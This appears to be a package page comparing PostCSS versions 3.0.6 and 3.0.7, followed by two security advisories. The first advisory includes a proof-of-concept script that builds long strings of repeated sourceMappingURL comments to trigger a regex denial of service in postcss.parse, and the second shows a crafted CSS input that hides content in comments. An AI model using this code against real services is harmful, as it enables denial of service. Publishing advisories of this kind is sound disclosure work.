PostCSS versions 3.0.6 and 3.0.7 offer a robust framework for CSS postprocessing enriched with full source map support. Both versions share essential dependencies like js-base64 for Base64 encoding and source-map for mapping transformations, ensuring reliable source tracking during CSS manipulation. The core functionality remains consistent, promising a stable experience for developers leveraging PostCSS for tasks such as vendor prefixing, future CSS syntax adoption, and custom transformations.
The key difference lies in the devDependencies. While a broad suite of tools for testing, linting, and building are present in both, version 3.0.7 upgrades the 6to5 dependency to version 1.14.17 from 1.14.7 in 3.0.6. This upgrade to 6to5, now known as Babel, signifies improvements in ES6+ to ES5 transpilation capabilities, potentially impacting developers who rely on PostCSS's integration with modern JavaScript features. All other dev dependencies, including popular tools like gulp, less, mocha, cssnext, and node-sass, remain unchanged between the two versions.
Therefore, developers primarily focused on core CSS postprocessing features might find both versions equally suitable. The subtle shift in the 6to5 version would only be relevant for those deeply embedded in using ES6+ syntax and depending on PostCSS's build pipeline for transpilation. Both versions offer MIT licensing, cementing its place as a permissive and reliable choice for CSS transformations. Ultimately, the choice hinges on the significance of the 6to5/Babel upgrade within a project's specific workflow, a detail which, if unimportant, renders either version a strong dependable asset for any front-end project.
All the vulnerabilities related to the version 3.0.7 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.